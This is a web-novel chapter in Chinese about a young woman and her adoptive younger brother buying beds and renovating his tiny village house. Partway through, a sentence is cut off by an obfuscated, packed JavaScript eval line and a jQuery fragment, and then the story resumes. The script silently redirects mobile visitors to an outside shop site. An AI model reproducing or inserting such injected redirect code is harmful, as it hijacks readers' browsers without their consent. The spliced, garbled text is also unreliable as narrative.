由于小竹子的目光过于热烈,许顾生想装作看不见都不行。
他只能无奈往后退了一步,至少不让邢佩州看到自己,然后做了个噤声的动作。
小竹子十分善解人意地点了点头,然而他那笑容压都压不下去。
幸好邢佩州的注意力都在木床上。
木工刚做好,还给邢佩州展现了一下,放在五百平的那张床要大一点,一次可以睡两个人。
另外那张比较小,但放在许顾生的老破小里足够了。
毕竟是有12平。
邢佩州点了点头付了钱,木工也十分善良地赠送了他们配送,几个小工跟着一起抬着木床架子去两边的家。
因为是不同的路,所以也分了两条线。
为了不耽误时间,邢佩州索性就直接下班了,让杨树他们自己解决吃饭的问题,明天再见。
杨树同意了。
他们分开后,邢佩州和许顾生回书井村,翻山越岭的时间比较长,几个小工也没事儿干就聊天。
可能是为了不让邢佩州和许顾生太过尴尬,他们也跟两人搭了搭话。
“这书井村穷了这么多年,难得有人来买我们的床。”其中一个小工咧着嘴打趣了一下。
他们一看就是在镇上待了很多年的人。
邢佩州想着反正无事,就打听了一下关于书井村的过往。
这一问那几个小工顿时来了劲,跟她讲了很多书井村的八卦,还有些民间传闻。
都说书井村的风水不太好,气运都被大山给挡住了,想要发财不容易。
于是很多村民就从村子里搬出去了。
这种传闻大家都宁可信其有不可信其无,渐渐地村子里的人就越来越少了,留下来的要么是身体上有缺陷的,要么就是老年人和孤儿。
这种人群的气场本来就不太好,所以大多也不受待见。
多少年书井村才能出一个走出大山的人,而且离开了就不会回来了。
在这里受的苦可不少。
邢佩州听着,垂眸点了点头,这些传闻基本和她了解到的并无差别,看起来这些年书井村是一点长进都没有。
镇上的人基本都是周边村子里发达起来的人搬过去的,书井村的发展早就被忘了,北城区发展极快,就算有心带动发展,基本也只会顾及到镇子。
村子自然是自生自灭的。
邢佩州走在路上偶尔会碰到几个同村的老人,他们佝偻着身体挑着扁担,也许是去镇子里卖东西的,也可能只是想要去田地里看看。
这些人大多都对外头的人报以希望,总觉得不会被放弃,总觉得总有一天会被拯救,可这种只求‘活着’等着别人来提供帮助的本来就十分不靠谱。
与其对被人虚无的承诺满怀期待,不如自我拯救。
邢佩州始终相信这一点,但她也十分清楚,这是因为她原本就不是这个世界的,她原本就来自于一个和平且温和的世界,导致她的思想才会如何坚韧。
她不能用自己的这种想法去要求别人,所以她可以自我拯救,带动周围的人。
木工们来到了老破小,他们看到房子的时候步履一顿,邢佩州看到其中一个踉跄了一下差点摔倒了。
“这、这可真是朴素。”
木工生怕自己失态,想了半天才挤出这么一个词。
邢佩州拍拍他们的肩膀,善解人意道:“不用勉强。”
木工纷纷向她投去感激的目光。
朴素的房屋皮肤,不都是大家公知的嘛。
木工们将床给许顾生换上,因为他们接受旧物回收,所以两人索性将家里一堆东西都收拾了一下卖出去。
旧的不去新的不来,更何况真的很多东西不能用了。
走之前,为首的木工头头给他们结了账,然后看着空空荡荡以及只有一个木头架子的床于心不忍开口:“你们不需要再买点被子什么的吗?”
邢佩州摇摇头:“不用了。”
眼看邢佩州和许顾生似乎都没有什么担心的神色,木工们也不再推销,扛着他们的旧物离开了。
许是他们有别的办法吧。
等人走了后,邢佩州锁了门。
老破小里终于看上去有点人样了,原来的东西就剩下了那张绿皮破洞沙发,厨房除了留下一些碗筷,其他的全部被彻底被清空。
有许顾生的美食系统,他们能省不少工具钱。
燃气费都不用交了……不对,他们没有燃气,只有一堆柴火。
休息的地方只有那张新的床,整个环境看上去整洁了不少。
虽然那么多东西卖出去并没有换来多少钱,但那些东西本来就已经破烂不堪了,能卖出去就不错了。
邢佩州满意地点了点头,这个状况基本可以了,只是老破小整体框架的装修还需要重来。
她给杨树打了个电话,表示晚上他们自己不用准备晚饭了,她和许顾生会过去,唯一的要求就是给他们俩腾个地方休息。
“我们大概会住个小半年,你低调一点随便帮我们弄两顶帐篷就可以。”
杨树乐呵呵答应下来:“没问题,我办事邢姐放心。”
然后他根本不捂着听筒就开始对着外面大喊:“邢姐和许哥晚上要过来睡!快去收拾一个房间出来!”
邢佩州:……我刚刚还叫你低调一点的。
挂掉电话后,许顾生凑过来,眨巴眼睛问她:“姐姐我们为什么要过去睡啊?”
他应该没看错吧,他的老破小没有塌。
邢佩州轻笑一声,搓了搓他的脑袋,道:“我准备把老破小重新装修一下,墙壁好歹得重新粉刷,房顶也得换成瓦片。”
他们这几天是没有遇到下雨,所以没被淋湿,但凡倒霉一点遇到下雨,他们俩都得‘屋漏偏逢连夜雨。’
“装修的话咱们肯定就不能住了,无论这里的人多么将就甲醛新房的问题,咱们不能作死。”邢佩州继续解释,她的地皮子什么也没有,自然不能住人,想来想去也只有杨树的房子靠谱。
好歹五百平,再挤两个人都没问题。
许顾生恍然大悟,终于笑开点了点头:“我还以为姐姐是不喜欢我的房子了。”
这样就好,只是要给老破小换个R级的皮肤罢了。
邢佩州看了他一眼,又默默移开目光:“不会的,你和你的老破小,都不会讨厌。”
不知道是不是她的错觉,她刚才总觉得许顾生的笑容里带着一点偏执的控制欲望。
小孩子嘛,总是对自己的所有物十分在意,邢佩州可以理解这个弟弟的心情。
反正她从未怕过什么,也有信心永远将许顾生按在正轨上。
随后两人随便收拾了一下,拿着那些旧物换来的钱准备一起又去了一趟镇上。
因为他们来没有多余钱,也为了节约,最终决定买点材料自己动手。
最贵的莫过于墙漆,但还好他们也就用这一次。
镇上卖这些东西的不多,也没什么颜色可以选,一共就黑白两种颜色。
黑色太阴沉,要是刷满墙壁,在这种房间里待久了一定会情绪低落。
于是两人买了几桶白色,又去杂货铺买了一个梯子和砖瓦。
这些东西都很沉,许顾生这些天吃得多,身体比以前好了很多,他坚决不让邢佩州拿着,一个人挑起大梁。
邢佩州也涨了点肉,但到底瘦弱,许顾生自告奋勇她就没推辞了。
两人从镇上回来的时候已经下午三点过了,走了太久都有点累,但邢佩州还是决定今天就把计
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261593|151651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
划干完。
今天的事情今天做,绝不拖延到第二天。
许顾生哭丧着脸,一屁股坐在地板上:“姐姐,其实……稍微有点拖延症也没关系的。”
“不行。”
许顾生:……行吧,不行就不行吧,不就是干活吗?!他可以!
他滚起来去爬梯子上房顶,把那些乱七八糟的稻草都扫了下来,然后爬上屋顶一点一点铺瓦。
邢佩州见他安全上去了,不再支撑着梯子,把他扔下来的稻草铺在房子周边。
有几个老太太路过,看她这举动大吃一惊,颤抖着手阻止她:“姑娘你这是做什么?要烧房子吗?使不得啊,好歹是自己的家。”
邢佩州一愣,再回过头去看自己铺成的一圈稻草,反应过来。
好吧,确实是有点像即将点火的样子。
她回过头稍微弯腰,温柔地拍了拍老太太的手背以示安慰:“不是的阿姨,我不是要烧房子。”
是因为她担心许顾生掉下来才在周围铺上了稻草。
虽然如果真的掉下来不一定有多大的用处,但有总比没有好。
听了邢佩州的解释,那几个老太太终于松了口气,看向邢佩州的眼神带了些慈爱:“我看只有你们两个,是父母都不在了吗?”
邢佩州头脑风暴了一下,好像之前系统的确提过她和许顾生都是孤儿,便点了点头。
听她这么说,又这么乖巧,老太太的眼神更温和了,从篮子里掏出几个鸡蛋塞在她怀里:“别嫌弃,都是一个村的,我们这些老家伙也就这么点东西。”
邢佩州不好拒绝,就接下了。
老太太们离开后邢佩州将鸡蛋放回冰箱,然后才开始刷漆。
刷墙和铺屋顶的瓦都不简单,有的地方邢佩州刷不到,她就递给房顶上的许顾生帮忙。
农村的房子屋顶揭开后就是镂空的架子,他们都能相互看见。
许顾生这会儿劲儿上来了还有闲心和邢佩州聊天:“姐姐,你说杨树他们会不会因为等我们饿得慌?”
“那可说不准。”也不排除杨树他们自己先吃饭的可能性。
但是为了不发生那点万一,他们还是决定动作再快点。
幸好许顾生的老破小只有12平,收拾起来并没有花多长时间,收拾完后两人回到屋子里收拾要带去杨树家的东西。
邢佩州看着房子内里,沉思片刻后从微缩系统里调出几支钩针和一个巨大的盒子:“你拿好,我想做个被子和床垫子。”
许顾生惊恐:“姐、姐姐、被子和床垫子可比咱们小推车大多了,要是用你做过的微缩迷你花布肯定要缝很长时间的。”
“慢慢来,我们要时刻记住我们是贫困人口,能不花钱的地方就不花钱,被子能自己做就不要买了,花点时间也没关系。”更别说他们又不着急用。
邢佩州这么想着。
许顾生闻言忽然也觉得有道理,便乖乖坐在沙发上等邢佩州调小花布。
她的那些花布长宽都不会超过五厘米,为了缝合得调出成百上千的小东西,缝合起来简直要命。
许顾生抱着那堆东西感叹:“姐姐你以前真是个卷王,一定是公司模范员工吧?”
他投去的目光带着一点同情。
邢佩州一噎,其实许顾生没说错,她因为很闲也没有其他爱好,所以经常泡在工作室一做就是一整天,偶尔连着几天都不睡觉。
这才有了现在这么多东西可以用。
但凡她曾经不勤劳一点点,现在的微缩系统都是没用的东西。
邢佩州默默叹了口气,然后坐在许顾生旁边,递给他一支钩针,手把手教他如何缝合。
许顾生点点头,眼神坚定地仿佛他们要干的不是做被子,而是要去远航了。